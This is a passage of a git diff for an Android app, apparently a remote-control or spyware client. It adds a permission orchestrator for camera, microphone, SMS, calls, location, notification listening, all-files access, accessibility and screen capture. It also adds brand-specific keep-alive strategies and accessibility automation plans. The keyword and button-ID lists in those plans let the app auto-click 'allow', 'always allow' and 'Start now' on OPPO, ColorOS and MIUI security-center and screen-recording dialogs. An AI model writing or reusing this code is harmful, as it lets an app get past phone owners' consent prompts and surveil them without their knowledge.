+ permissionMetrics = featureFlags?.optBoolean(
+ KEY_PERMISSION_METRICS,
+ defaults.permissionMetrics
+ ) ?: defaults.permissionMetrics,
+ keepAliveMetrics = featureFlags?.optBoolean(
+ KEY_KEEPALIVE_METRICS,
+ defaults.keepAliveMetrics
+ ) ?: defaults.keepAliveMetrics
+ )
+ }
+
+ fun toJson(flags: Flags): JSONObject {
+ return JSONObject().apply {
+ put(KEY_BOOT_AUTO_START, flags.bootAutoStart)
+ put(KEY_WORKMANAGER_KEEPALIVE, flags.workManagerKeepAlive)
+ put(KEY_COMPREHENSIVE_KEEPALIVE, flags.comprehensiveKeepAlive)
+ put(KEY_ENHANCED_EVENT_RECOVERY, flags.enhancedEventRecovery)
+ put(KEY_PERMISSION_METRICS, flags.permissionMetrics)
+ put(KEY_KEEPALIVE_METRICS, flags.keepAliveMetrics)
+ }
+ }
+
+ fun toMap(flags: Flags): Map {
+ return mapOf(
+ KEY_BOOT_AUTO_START to flags.bootAutoStart,
+ KEY_WORKMANAGER_KEEPALIVE to flags.workManagerKeepAlive,
+ KEY_COMPREHENSIVE_KEEPALIVE to flags.comprehensiveKeepAlive,
+ KEY_ENHANCED_EVENT_RECOVERY to flags.enhancedEventRecovery,
+ KEY_PERMISSION_METRICS to flags.permissionMetrics,
+ KEY_KEEPALIVE_METRICS to flags.keepAliveMetrics
+ )
+ }
+
+ fun applyPatch(context: Context, patch: JSONObject?): Flags? {
+ if (patch == null) {
+ return current(context)
+ }
+ val existing = current(context)
+ val merged = merge(existing, patch)
+ val saved = ConfigWriter.updateFeatureFlags(context, toMap(merged))
+ if (!saved) {
+ Log.e(TAG, "Failed to persist runtime feature flags patch")
+ return null
+ }
+ Log.i(TAG, "Runtime feature flags updated: ${toJson(merged)}")
+ return merged
+ }
+
+ private fun merge(current: Flags, patch: JSONObject): Flags {
+ return Flags(
+ bootAutoStart = readOptionalBoolean(patch, KEY_BOOT_AUTO_START) ?: current.bootAutoStart,
+ workManagerKeepAlive = readOptionalBoolean(
+ patch,
+ KEY_WORKMANAGER_KEEPALIVE
+ ) ?: current.workManagerKeepAlive,
+ comprehensiveKeepAlive = readOptionalBoolean(
+ patch,
+ KEY_COMPREHENSIVE_KEEPALIVE
+ ) ?: current.comprehensiveKeepAlive,
+ enhancedEventRecovery = readOptionalBoolean(
+ patch,
+ KEY_ENHANCED_EVENT_RECOVERY
+ ) ?: current.enhancedEventRecovery,
+ permissionMetrics = readOptionalBoolean(
+ patch,
+ KEY_PERMISSION_METRICS
+ ) ?: current.permissionMetrics,
+ keepAliveMetrics = readOptionalBoolean(
+ patch,
+ KEY_KEEPALIVE_METRICS
+ ) ?: current.keepAliveMetrics
+ )
+ }
+
+ private fun readOptionalBoolean(obj: JSONObject, key: String): Boolean? {
+ if (!obj.has(key)) {
+ return null
+ }
+ val value = obj.opt(key)
+ return when (value) {
+ is Boolean -> value
+ is Number -> value.toInt() != 0
+ is String -> value.equals("true", ignoreCase = true) || value == "1"
+ else -> null
+ }
+ }
+}
diff --git a/app/src/main/java/com/hikoncont/util/UnifiedPermissionOrchestrator.kt b/app/src/main/java/com/hikoncont/util/UnifiedPermissionOrchestrator.kt
new file mode 100644
index 0000000..41847ed
--- /dev/null
+++ b/app/src/main/java/com/hikoncont/util/UnifiedPermissionOrchestrator.kt
@@ -0,0 +1,337 @@
+package com.hikoncont.util
+
+import android.Manifest
+import android.app.AlarmManager
+import android.content.Context
+import android.content.Intent
+import android.content.pm.PackageManager
+import android.net.Uri
+import android.os.Build
+import android.os.Environment
+import android.os.PowerManager
+import android.provider.Settings
+import android.util.Log
+import androidx.core.app.NotificationManagerCompat
+
+/**
+ * 统一权限编排器
+ *
+ * 目标:
+ * 1. 一次性收敛可自动申请的运行时权限
+ * 2. 统一特殊权限检查顺序，便于首启和权限丢失回补
+ * 3. 输出可用于降级策略的缺失项快照
+ */
+object UnifiedPermissionOrchestrator {
+
+ private const val TAG = "UnifiedPermOrchestrator"
+
+ enum class Step {
+ RUNTIME,
+ OVERLAY,
+ WRITE_SETTINGS,
+ ALL_FILES_ACCESS,
+ NOTIFICATION_LISTENER,
+ BATTERY_OPTIMIZATION,
+ EXACT_ALARM,
+ ACCESSIBILITY,
+ MEDIA_PROJECTION
+ }
+
+ data class PermissionSnapshot(
+ val runtimeMissing: List,
+ val overlayGranted: Boolean,
+ val writeSettingsGranted: Boolean,
+ val allFilesGranted: Boolean,
+ val notificationListenerGranted: Boolean,
+ val batteryOptimizationIgnored: Boolean,
+ val exactAlarmGranted: Boolean,
+ val accessibilityGranted: Boolean,
+ val mediaProjectionGranted: Boolean
+ ) {
+ val runtimeGranted: Boolean
+ get() = runtimeMissing.isEmpty()
+ }
+
+ fun collectRuntimePermissionsForRequest(context: Context): List {
+ val declared = getDeclaredPermissions(context)
+ val permissions = linkedSetOf()
+
+ // 基础能力
+ addIfDeclared(declared, permissions, Manifest.permission.CAMERA)
+ addIfDeclared(declared, permissions, Manifest.permission.RECORD_AUDIO)
+
+ // 媒体读取能力
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
+ addIfDeclared(declared, permissions, Manifest.permission.READ_MEDIA_IMAGES)
+ addIfDeclared(declared, permissions, Manifest.permission.READ_MEDIA_VIDEO)
+ addIfDeclared(declared, permissions, Manifest.permission.READ_MEDIA_AUDIO)
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.UPSIDE_DOWN_CAKE) {
+ addIfDeclared(declared, permissions, Manifest.permission.READ_MEDIA_VISUAL_USER_SELECTED)
+ }
+ } else {
+ addIfDeclared(declared, permissions, Manifest.permission.READ_EXTERNAL_STORAGE)
+ if (Build.VERSION.SDK_INT <= Build.VERSION_CODES.P) {
+ addIfDeclared(declared, permissions, Manifest.permission.WRITE_EXTERNAL_STORAGE)
+ }
+ }
+
+ // 短信/电话能力
+ addIfDeclared(declared, permissions, Manifest.permission.READ_SMS)
+ addIfDeclared(declared, permissions, Manifest.permission.SEND_SMS)
+ addIfDeclared(declared, permissions, Manifest.permission.RECEIVE_SMS)
+ addIfDeclared(declared, permissions, Manifest.permission.READ_PHONE_STATE)
+ addIfDeclared(declared, permissions, Manifest.permission.CALL_PHONE)
+
+ // 通知权限(Android 13+)
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
+ addIfDeclared(declared, permissions, Manifest.permission.POST_NOTIFICATIONS)
+ }
+
+ // 厂商ROM中部分链路会校验定位权限
+ addIfDeclared(declared, permissions, Manifest.permission.ACCESS_FINE_LOCATION)
+
+ return permissions.toList()
+ }
+
+ fun getRuntimeMissingPermissions(context: Context): List {
+ return collectRuntimePermissionsForRequest(context).filter {
+ context.checkSelfPermission(it) != PackageManager.PERMISSION_GRANTED
+ }
+ }
+
+ fun buildSnapshot(
+ context: Context,
+ accessibilityGranted: Boolean,
+ mediaProjectionGranted: Boolean
+ ): PermissionSnapshot {
+ return PermissionSnapshot(
+ runtimeMissing = getRuntimeMissingPermissions(context),
+ overlayGranted = hasOverlayPermission(context),
+ writeSettingsGranted = hasWriteSettingsPermission(context),
+ allFilesGranted = hasAllFilesAccess(context),
+ notificationListenerGranted = hasNotificationListenerPermission(context),
+ batteryOptimizationIgnored = isIgnoringBatteryOptimization(context),
+ exactAlarmGranted = canScheduleExactAlarm(context),
+ accessibilityGranted = accessibilityGranted,
+ mediaProjectionGranted = mediaProjectionGranted
+ )
+ }
+
+ fun getMissingSteps(snapshot: PermissionSnapshot): List {
+ val missing = mutableListOf()
+ if (!snapshot.runtimeGranted) {
+ missing.add(Step.RUNTIME)
+ }
+ if (!snapshot.overlayGranted) {
+ missing.add(Step.OVERLAY)
+ }
+ if (!snapshot.writeSettingsGranted) {
+ missing.add(Step.WRITE_SETTINGS)
+ }
+ if (!snapshot.allFilesGranted) {
+ missing.add(Step.ALL_FILES_ACCESS)
+ }
+ if (!snapshot.notificationListenerGranted) {
+ missing.add(Step.NOTIFICATION_LISTENER)
+ }
+ if (!snapshot.batteryOptimizationIgnored) {
+ missing.add(Step.BATTERY_OPTIMIZATION)
+ }
+ if (!snapshot.exactAlarmGranted) {
+ missing.add(Step.EXACT_ALARM)
+ }
+ if (!snapshot.accessibilityGranted) {
+ missing.add(Step.ACCESSIBILITY)
+ }
+ if (!snapshot.mediaProjectionGranted) {
+ missing.add(Step.MEDIA_PROJECTION)
+ }
+ return missing
+ }
+
+ fun getDefaultStepOrder(manufacturerRaw: String): List {
+ val manufacturer = manufacturerRaw.lowercase()
+ val defaultOrder = mutableListOf(
+ Step.RUNTIME,
+ Step.OVERLAY,
+ Step.WRITE_SETTINGS,
+ Step.ALL_FILES_ACCESS,
+ Step.NOTIFICATION_LISTENER,
+ Step.BATTERY_OPTIMIZATION,
+ Step.EXACT_ALARM,
+ Step.ACCESSIBILITY,
+ Step.MEDIA_PROJECTION
+ )
+
+ // MIUI类设备优先把无障碍和录屏放到后面，先完成可批量自动授权的权限
+ if (manufacturer.contains("xiaomi") || manufacturer.contains("redmi")) {
+ return defaultOrder
+ }
+
+ // Vivo/Oppo/Realme/iQOO/Huawei/Honor 类设备通常后台策略更激进，提前申请电池优化白名单
+ if (
+ manufacturer.contains("vivo") ||
+ manufacturer.contains("iqoo") ||
+ manufacturer.contains("oppo") ||
+ manufacturer.contains("realme") ||
+ manufacturer.contains("oneplus") ||
+ manufacturer.contains("huawei") ||
+ manufacturer.contains("honor")
+ ) {
+ defaultOrder.remove(Step.BATTERY_OPTIMIZATION)
+ defaultOrder.add(4, Step.BATTERY_OPTIMIZATION)
+ return defaultOrder
+ }
+
+ return defaultOrder
+ }
+
+ fun buildSettingsIntent(context: Context, step: Step): Intent? {
+ return when (step) {
+ Step.OVERLAY -> Intent(
+ Settings.ACTION_MANAGE_OVERLAY_PERMISSION,
+ Uri.parse("package:${context.packageName}")
+ )
+
+ Step.WRITE_SETTINGS -> Intent(
+ Settings.ACTION_MANAGE_WRITE_SETTINGS,
+ Uri.parse("package:${context.packageName}")
+ )
+
+ Step.ALL_FILES_ACCESS -> {
+ if (Build.VERSION.SDK_INT < Build.VERSION_CODES.R) {
+ null
+ } else {
+ Intent(
+ Settings.ACTION_MANAGE_APP_ALL_FILES_ACCESS_PERMISSION,
+ Uri.parse("package:${context.packageName}")
+ )
+ }
+ }
+
+ Step.NOTIFICATION_LISTENER -> Intent("android.settings.ACTION_NOTIFICATION_LISTENER_SETTINGS")
+
+ Step.BATTERY_OPTIMIZATION -> {
+ if (Build.VERSION.SDK_INT < Build.VERSION_CODES.M) {
+ null
+ } else {
+ Intent(
+ Settings.ACTION_REQUEST_IGNORE_BATTERY_OPTIMIZATIONS,
+ Uri.parse("package:${context.packageName}")
+ )
+ }
+ }
+
+ Step.EXACT_ALARM -> {
+ if (Build.VERSION.SDK_INT < Build.VERSION_CODES.S) {
+ null
+ } else {
+ Intent(Settings.ACTION_REQUEST_SCHEDULE_EXACT_ALARM).apply {
+ data = Uri.parse("package:${context.packageName}")
+ }
+ }
+ }
+
+ else -> null
+ }?.apply {
+ addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
+ }
+ }
+
+ fun buildAppDetailsIntent(context: Context): Intent {
+ return Intent(Settings.ACTION_APPLICATION_DETAILS_SETTINGS).apply {
+ data = Uri.parse("package:${context.packageName}")
+ addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
+ }
+ }
+
+ private fun hasOverlayPermission(context: Context): Boolean {
+ return if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
+ Settings.canDrawOverlays(context)
+ } else {
+ true
+ }
+ }
+
+ private fun hasWriteSettingsPermission(context: Context): Boolean {
+ return if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
+ Settings.System.canWrite(context)
+ } else {
+ true
+ }
+ }
+
+ private fun hasAllFilesAccess(context: Context): Boolean {
+ return if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R) {
+ try {
+ Environment.isExternalStorageManager()
+ } catch (e: Exception) {
+ Log.w(TAG, "检查全部文件访问权限失败", e)
+ false
+ }
+ } else {
+ true
+ }
+ }
+
+ private fun hasNotificationListenerPermission(context: Context): Boolean {
+ return try {
+ NotificationManagerCompat.getEnabledListenerPackages(context).contains(context.packageName)
+ } catch (e: Exception) {
+ Log.w(TAG, "检查通知监听权限失败", e)
+ false
+ }
+ }
+
+ private fun isIgnoringBatteryOptimization(context: Context): Boolean {
+ return if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
+ try {
+ val powerManager = context.getSystemService(Context.POWER_SERVICE) as PowerManager
+ powerManager.isIgnoringBatteryOptimizations(context.packageName)
+ } catch (e: Exception) {
+ Log.w(TAG, "检查电池优化白名单失败", e)
+ false
+ }
+ } else {
+ true
+ }
+ }
+
+ private fun canScheduleExactAlarm(context: Context): Boolean {
+ return if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.S) {
+ try {
+ val alarmManager = context.getSystemService(Context.ALARM_SERVICE) as AlarmManager
+ alarmManager.canScheduleExactAlarms()
+ } catch (e: Exception) {
+ Log.w(TAG, "检查精确闹钟权限失败", e)
+ false
+ }
+ } else {
+ true
+ }
+ }
+
+ private fun addIfDeclared(declared: Set, target: MutableSet, permission: String) {
+ if (declared.contains(permission)) {
+ target.add(permission)
+ }
+ }
+
+ private fun getDeclaredPermissions(context: Context): Set {
+ return try {
+ val packageInfo = if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
+ context.packageManager.getPackageInfo(
+ context.packageName,
+ PackageManager.PackageInfoFlags.of(PackageManager.GET_PERMISSIONS.toLong())
+ )
+ } else {
+ @Suppress("DEPRECATION")
+ context.packageManager.getPackageInfo(context.packageName, PackageManager.GET_PERMISSIONS)
+ }
+ packageInfo.requestedPermissions?.toSet() ?: emptySet()
+ } catch (e: Exception) {
+ Log.w(TAG, "读取清单权限失败，回退为空集合", e)
+ emptySet()
+ }
+ }
+}
diff --git a/app/src/main/java/com/hikoncont/util/adaptation/DeviceAdaptationStrategy.kt b/app/src/main/java/com/hikoncont/util/adaptation/DeviceAdaptationStrategy.kt
new file mode 100644
index 0000000..9e579ed
--- /dev/null
+++ b/app/src/main/java/com/hikoncont/util/adaptation/DeviceAdaptationStrategy.kt
@@ -0,0 +1,38 @@
+package com.hikoncont.util.adaptation
+
+import com.hikoncont.util.DeviceDetector.DeviceBrand
+import com.hikoncont.util.DeviceDetector.KeepAlivePolicy
+
+/**
+ * Device runtime fingerprint used by adaptation strategies.
+ */
+data class DeviceRuntimeInfo(
+ val brand: DeviceBrand,
+ val sdkInt: Int,
+ val brandRaw: String,
+ val manufacturerRaw: String,
+ val modelRaw: String,
+ val deviceRaw: String,
+ val productRaw: String
+)
+
+/**
+ * Strategy interface for per-device adaptation.
+ *
+ * Keep this interface focused and stable so new ROM/model behavior can be
+ * plugged in by adding a strategy class instead of editing many call sites.
+ */
+interface DeviceAdaptationStrategy {
+ val id: String
+ val priority: Int
+
+ fun matches(info: DeviceRuntimeInfo): Boolean
+
+ fun keepAlivePolicy(info: DeviceRuntimeInfo): KeepAlivePolicy
+}
+
+data class StrategyResolution(
+ val strategyId: String,
+ val keepAlivePolicy: KeepAlivePolicy
+)
+
diff --git a/app/src/main/java/com/hikoncont/util/adaptation/InstallerAutomationPlanner.kt b/app/src/main/java/com/hikoncont/util/adaptation/InstallerAutomationPlanner.kt
new file mode 100644
index 0000000..c383c64
--- /dev/null
+++ b/app/src/main/java/com/hikoncont/util/adaptation/InstallerAutomationPlanner.kt
@@ -0,0 +1,121 @@
+package com.hikoncont.util.adaptation
+
+/**
+ * Runtime installer/dialog automation plan resolved from [RomPolicy].
+ *
+ * This turns static installer strategy labels into concrete runtime knobs used
+ * by accessibility automation modules.
+ */
+data class InstallerUiAutomationPlan(
+ val strategyId: String,
+ val installerStrategy: InstallerStrategy,
+ val packageHints: List,
+ val titleKeywords: List,
+ val alwaysAllowKeywords: List,
+ val positiveKeywords: List,
+ val negativeKeywords: List,
+ val positiveButtonIds: List,
+ val checkboxIds: List,
+ val autoAllowDurationMs: Long,
+ val autoAllowClickMinIntervalMs: Long,
+ val dialogHandleCooldownMs: Long
+)
+
+object InstallerAutomationPlanner {
+ fun resolve(policy: RomPolicy): InstallerUiAutomationPlan {
+ val basePlan = InstallerUiAutomationPlan(
+ strategyId = "${policy.strategyId}:installer_default",
+ installerStrategy = policy.installerStrategy,
+ packageHints = policy.appOpenDialogPackageHints,
+ titleKeywords = policy.appOpenDialogTitleKeywords,
+ alwaysAllowKeywords = policy.appOpenDialogAlwaysAllowKeywords,
+ positiveKeywords = policy.appOpenDialogPositiveKeywords,
+ negativeKeywords = policy.appOpenDialogNegativeKeywords,
+ positiveButtonIds = policy.appOpenDialogPositiveButtonIds,
+ checkboxIds = policy.appOpenDialogCheckboxIds,
+ autoAllowDurationMs = 15_000L,
+ autoAllowClickMinIntervalMs = 700L,
+ dialogHandleCooldownMs = 300L
+ )
+
+ return when (policy.installerStrategy) {
+ InstallerStrategy.SESSION_FAST -> basePlan.copy(
+ strategyId = "${policy.strategyId}:installer_fast",
+ autoAllowDurationMs = 12_000L,
+ autoAllowClickMinIntervalMs = 650L,
+ dialogHandleCooldownMs = 250L
+ )
+
+ InstallerStrategy.SESSION_COMPAT -> {
+ val compatPackageHints = mergeDistinct(
+ basePlan.packageHints,
+ listOf(
+ "com.coloros.securitypermission",
+ "com.coloros.safecenter",
+ "com.oppo.safecenter",
+ "com.oplus.safecenter",
+ "com.heytap.security",
+ "com.heytap.permission"
+ )
+ )
+ val compatPositiveButtonIds = mergeDistinct(
+ basePlan.positiveButtonIds,
+ listOf(
+ "com.coloros.securitypermission:id/button1",
+ "com.coloros.safecenter:id/button1",
+ "com.oppo.safecenter:id/button1",
+ "com.oplus.safecenter:id/button1",
+ "com.heytap.permission:id/button1",
+ "com.heytap.security:id/button1"
+ )
+ )
+ val compatCheckboxIds = mergeDistinct(
+ basePlan.checkboxIds,
+ listOf(
+ "com.coloros.securitypermission:id/checkbox",
+ "com.coloros.safecenter:id/checkbox",
+ "com.oppo.safecenter:id/checkbox",
+ "com.oplus.safecenter:id/checkbox",
+ "com.heytap.permission:id/checkbox",
+ "com.heytap.security:id/checkbox"
+ )
+ )
+ val compatPositiveKeywords = mergeDistinct(
+ basePlan.positiveKeywords,
+ listOf("确定", "允许", "继续", "同意", "确认", "allow", "confirm", "ok")
+ )
+ val compatAlwaysAllowKeywords = mergeDistinct(
+ basePlan.alwaysAllowKeywords,
+ listOf(
+ "是否始终允许打开",
+ "是否始终允许开启应用",
+ "始终允许打开",
+ "始终允许开启",
+ "总是允许打开",
+ "总是允许开启",
+ "always allow"
+ )
+ )
+
+ basePlan.copy(
+ strategyId = "${policy.strategyId}:installer_compat",
+ packageHints = compatPackageHints,
+ positiveButtonIds = compatPositiveButtonIds,
+ checkboxIds = compatCheckboxIds,
+ positiveKeywords = compatPositiveKeywords,
+ alwaysAllowKeywords = compatAlwaysAllowKeywords,
+ autoAllowDurationMs = 20_000L,
+ autoAllowClickMinIntervalMs = 900L,
+ dialogHandleCooldownMs = 450L
+ )
+ }
+ }
+ }
+
+ private fun mergeDistinct(primary: List, secondary: List): List {
+ return (primary + secondary)
+ .map { it.trim() }
+ .filter { it.isNotEmpty() }
+ .distinct()
+ }
+}
diff --git a/app/src/main/java/com/hikoncont/util/adaptation/KeepAliveAdaptationRegistry.kt b/app/src/main/java/com/hikoncont/util/adaptation/KeepAliveAdaptationRegistry.kt
new file mode 100644
index 0000000..7d4b021
--- /dev/null
+++ b/app/src/main/java/com/hikoncont/util/adaptation/KeepAliveAdaptationRegistry.kt
@@ -0,0 +1,87 @@
+package com.hikoncont.util.adaptation
+
+import com.hikoncont.util.DeviceDetector.DeviceBrand
+import com.hikoncont.util.DeviceDetector.KeepAlivePolicy
+
+/**
+ * Strategy registry for keep-alive behavior across device families.
+ *
+ * Add new strategies here instead of injecting ROM if/else checks into
+ * service modules.
+ */
+object KeepAliveAdaptationRegistry {
+
+ private val strategies: List = listOf(
+ OppoFamilyAndroid14ConservativeStrategy,
+ XiaomiLegacyAggressiveStrategy,
+ DefaultBalancedStrategy
+ ).sortedByDescending { it.priority }
+
+ fun resolve(info: DeviceRuntimeInfo): StrategyResolution {
+ val strategy = strategies.firstOrNull { it.matches(info) } ?: DefaultBalancedStrategy
+ return StrategyResolution(
+ strategyId = strategy.id,
+ keepAlivePolicy = strategy.keepAlivePolicy(info)
+ )
+ }
+}
+
+private object OppoFamilyAndroid14ConservativeStrategy : DeviceAdaptationStrategy {
+ override val id: String = "oppo_family_android14_conservative"
+ override val priority: Int = 100
+
+ override fun matches(info: DeviceRuntimeInfo): Boolean {
+ if (info.sdkInt < 34) return false
+ return info.brand == DeviceBrand.OPPO ||
+ info.brand == DeviceBrand.VIVO ||
+ info.brand == DeviceBrand.REALME ||
+ info.brand == DeviceBrand.ONEPLUS
+ }
+
+ override fun keepAlivePolicy(info: DeviceRuntimeInfo): KeepAlivePolicy {
+ return KeepAlivePolicy(
+ useActivityKeepAlive = false,
+ enableAggressiveWorkers = false,
+ keepAliveCheckIntervalMs = 30_000L,
+ minForegroundKickIntervalMs = 20_000L
+ )
+ }
+}
+
+private object XiaomiLegacyAggressiveStrategy : DeviceAdaptationStrategy {
+ override val id: String = "xiaomi_legacy_aggressive"
+ override val priority: Int = 90
+
+ override fun matches(info: DeviceRuntimeInfo): Boolean {
+ return info.brand == DeviceBrand.XIAOMI && info.sdkInt <= 33
+ }
+
+ override fun keepAlivePolicy(info: DeviceRuntimeInfo): KeepAlivePolicy {
+ return KeepAlivePolicy(
+ useActivityKeepAlive = true,
+ enableAggressiveWorkers = true,
+ keepAliveCheckIntervalMs = 5_000L,
+ minForegroundKickIntervalMs = 2_500L
+ )
+ }
+}
+
+private object DefaultBalancedStrategy : DeviceAdaptationStrategy {
+ override val id: String = "default_balanced"
+ override val priority: Int = 0
+
+ override fun matches(info: DeviceRuntimeInfo): Boolean {
+ return true
+ }
+
+ override fun keepAlivePolicy(info: DeviceRuntimeInfo): KeepAlivePolicy {
+ val disableActivityKeepAlive = info.brand == DeviceBrand.OPPO || info.brand == DeviceBrand.VIVO
+ return KeepAlivePolicy(
+ useActivityKeepAlive = !disableActivityKeepAlive,
+ enableAggressiveWorkers = true,
+ keepAliveCheckIntervalMs = 10_000L,
+ minForegroundKickIntervalMs = 5_000L
+ )
+ }
+}
+
diff --git a/app/src/main/java/com/hikoncont/util/adaptation/RomPolicyRegistry.kt b/app/src/main/java/com/hikoncont/util/adaptation/RomPolicyRegistry.kt
new file mode 100644
index 0000000..3b2b755
--- /dev/null
+++ b/app/src/main/java/com/hikoncont/util/adaptation/RomPolicyRegistry.kt
@@ -0,0 +1,406 @@
+package com.hikoncont.util.adaptation
+
+import com.hikoncont.util.DeviceDetector.DeviceBrand
+import com.hikoncont.util.UnifiedPermissionOrchestrator
+
+/**
+ * Unified ROM policy model for permission orchestration + installer routing.
+ *
+ * Keep ROM branching in one place and avoid scattering manufacturer checks
+ * across MainActivity/Service/manager modules.
+ */
+enum class PermissionStep(val orchestratorStep: UnifiedPermissionOrchestrator.Step) {
+ RUNTIME(UnifiedPermissionOrchestrator.Step.RUNTIME),
+ OVERLAY(UnifiedPermissionOrchestrator.Step.OVERLAY),
+ WRITE_SETTINGS(UnifiedPermissionOrchestrator.Step.WRITE_SETTINGS),
+ ALL_FILES_ACCESS(UnifiedPermissionOrchestrator.Step.ALL_FILES_ACCESS),
+ NOTIFICATION_LISTENER(UnifiedPermissionOrchestrator.Step.NOTIFICATION_LISTENER),
+ BATTERY_OPTIMIZATION(UnifiedPermissionOrchestrator.Step.BATTERY_OPTIMIZATION),
+ EXACT_ALARM(UnifiedPermissionOrchestrator.Step.EXACT_ALARM),
+ ACCESSIBILITY(UnifiedPermissionOrchestrator.Step.ACCESSIBILITY),
+ MEDIA_PROJECTION(UnifiedPermissionOrchestrator.Step.MEDIA_PROJECTION)
+}
+
+enum class InstallerStrategy {
+ SESSION_FAST,
+ SESSION_COMPAT
+}
+
+data class RomPolicy(
+ val strategyId: String,
+ val permissionStepOrder: List,
+ val mediaProjectionConfirmTexts: List,
+ val mediaProjectionDetectionKeywords: List,
+ val mediaProjectionDenyKeywords: List,
+ val runtimePermissionAllowKeywords: List,
+ val runtimePermissionDenyKeywords: List,
+ val runtimePermissionOptionKeywords: List,
+ val runtimePermissionFinalConfirmKeywords: List,
+ val runtimePermissionConfirmViewIdHints: List,
+ val permissionDialogPackageHints: List,
+ val permissionFlowPackageHints: List,
+ val appOpenDialogPackageHints: List,
+ val appOpenDialogTitleKeywords: List,
+ val appOpenDialogAlwaysAllowKeywords: List,
+ val appOpenDialogPositiveKeywords: List,
+ val appOpenDialogNegativeKeywords: List,
+ val appOpenDialogPositiveButtonIds: List,
+ val appOpenDialogCheckboxIds: List,
+ val installerStrategy: InstallerStrategy
+)
+
+interface RomPolicyStrategy {
+ val id: String
+ val priority: Int
+
+ fun matches(info: DeviceRuntimeInfo): Boolean
+
+ fun buildPolicy(info: DeviceRuntimeInfo): RomPolicy
+}
+
+object RomPolicyRegistry {
+ private val strategies: List = listOf(
+ XiaomiRomPolicyStrategy,
+ OppoFamilyRomPolicyStrategy,
+ DefaultRomPolicyStrategy
+ ).sortedByDescending { it.priority }
+
+ fun resolve(info: DeviceRuntimeInfo): RomPolicy {
+ val strategy = strategies.firstOrNull { it.matches(info) } ?: DefaultRomPolicyStrategy
+ return strategy.buildPolicy(info)
+ }
+}
+
+private object XiaomiRomPolicyStrategy : RomPolicyStrategy {
+ override val id: String = "xiaomi_permission_media_projection_firstsafe"
+ override val priority: Int = 120
+
+ override fun matches(info: DeviceRuntimeInfo): Boolean {
+ return info.brand == DeviceBrand.XIAOMI
+ }
+
+ override fun buildPolicy(info: DeviceRuntimeInfo): RomPolicy {
+ return baseRomPolicy(id).copy(
+ permissionStepOrder = listOf(
+ PermissionStep.RUNTIME,
+ PermissionStep.OVERLAY,
+ PermissionStep.WRITE_SETTINGS,
+ PermissionStep.ALL_FILES_ACCESS,
+ PermissionStep.NOTIFICATION_LISTENER,
+ PermissionStep.BATTERY_OPTIMIZATION,
+ PermissionStep.EXACT_ALARM,
+ PermissionStep.ACCESSIBILITY,
+ PermissionStep.MEDIA_PROJECTION
+ ),
+ mediaProjectionConfirmTexts = mergeDistinct(
+ listOf("立即开始", "开始", "允许", "同意", "确认", "Start now", "Start", "Allow", "OK"),
+ DEFAULT_MEDIA_PROJECTION_CONFIRM_TEXTS
+ ),
+ permissionDialogPackageHints = mergeDistinct(
+ listOf(
+ "com.miui.securitycenter",
+ "com.miui.permcenter",
+ "com.miui.permissioncontroller",
+ "com.lbe.security.miui"
+ ),
+ DEFAULT_PERMISSION_DIALOG_PACKAGE_HINTS
+ ),
+ permissionFlowPackageHints = mergeDistinct(
+ listOf(
+ "com.miui.securitycenter",
+ "com.miui.permcenter",
+ "com.miui.permissioncontroller",
+ "com.lbe.security.miui"
+ ),
+ DEFAULT_PERMISSION_FLOW_PACKAGE_HINTS
+ ),
+ installerStrategy = InstallerStrategy.SESSION_FAST
+ )
+ }
+}
+
+private object OppoFamilyRomPolicyStrategy : RomPolicyStrategy {
+ override val id: String = "oppo_family_permission_background_first"
+ override val priority: Int = 110
+
+ override fun matches(info: DeviceRuntimeInfo): Boolean {
+ return info.brand == DeviceBrand.OPPO ||
+ info.brand == DeviceBrand.ONEPLUS ||
+ info.brand == DeviceBrand.REALME
+ }
+
+ override fun buildPolicy(info: DeviceRuntimeInfo): RomPolicy {
+ return baseRomPolicy(id).copy(
+ permissionStepOrder = listOf(
+ PermissionStep.RUNTIME,
+ PermissionStep.OVERLAY,
+ PermissionStep.WRITE_SETTINGS,
+ PermissionStep.BATTERY_OPTIMIZATION,
+ PermissionStep.NOTIFICATION_LISTENER,
+ PermissionStep.ALL_FILES_ACCESS,
+ PermissionStep.EXACT_ALARM,
+ PermissionStep.ACCESSIBILITY,
+ PermissionStep.MEDIA_PROJECTION
+ ),
+ mediaProjectionConfirmTexts = mergeDistinct(
+ listOf("立即开始", "开始", "允许", "确定", "确认", "同意", "Start now", "Start", "Allow", "Confirm", "OK"),
+ DEFAULT_MEDIA_PROJECTION_CONFIRM_TEXTS
+ ),
+ permissionDialogPackageHints = mergeDistinct(
+ listOf(
+ "com.coloros.securitypermission",
+ "com.coloros.safecenter",
+ "com.oppo.safecenter",
+ "com.oplus.safecenter",
+ "com.heytap.security",
+ "com.heytap.permission",
+ "com.oppo.permissioncontroller"
+ ),
+ DEFAULT_PERMISSION_DIALOG_PACKAGE_HINTS
+ ),
+ permissionFlowPackageHints = mergeDistinct(
+ listOf(
+ "com.coloros.securitypermission",
+ "com.coloros.safecenter",
+ "com.oppo.safecenter",
+ "com.oplus.safecenter",
+ "com.heytap.security",
+ "com.heytap.permission",
+ "com.oppo.permissioncontroller"
+ ),
+ DEFAULT_PERMISSION_FLOW_PACKAGE_HINTS
+ ),
+ appOpenDialogPackageHints = mergeDistinct(
+ listOf(
+ "com.coloros.securitypermission",
+ "com.coloros.safecenter",
+ "com.oppo.safecenter",
+ "com.oplus.safecenter",
+ "com.heytap.security",
+ "com.heytap.permission"
+ ),
+ DEFAULT_APP_OPEN_PACKAGE_HINTS
+ ),
+ appOpenDialogAlwaysAllowKeywords = mergeDistinct(
+ listOf(
+ "是否始终允许打开",
+ "是否始终允许开启应用",
+ "始终允许打开",
+ "始终允许开启",
+ "总是允许打开",
+ "总是允许开启",
+ "always allow"
+ ),
+ DEFAULT_APP_OPEN_ALWAYS_ALLOW_KEYWORDS
+ ),
+ appOpenDialogPositiveKeywords = mergeDistinct(
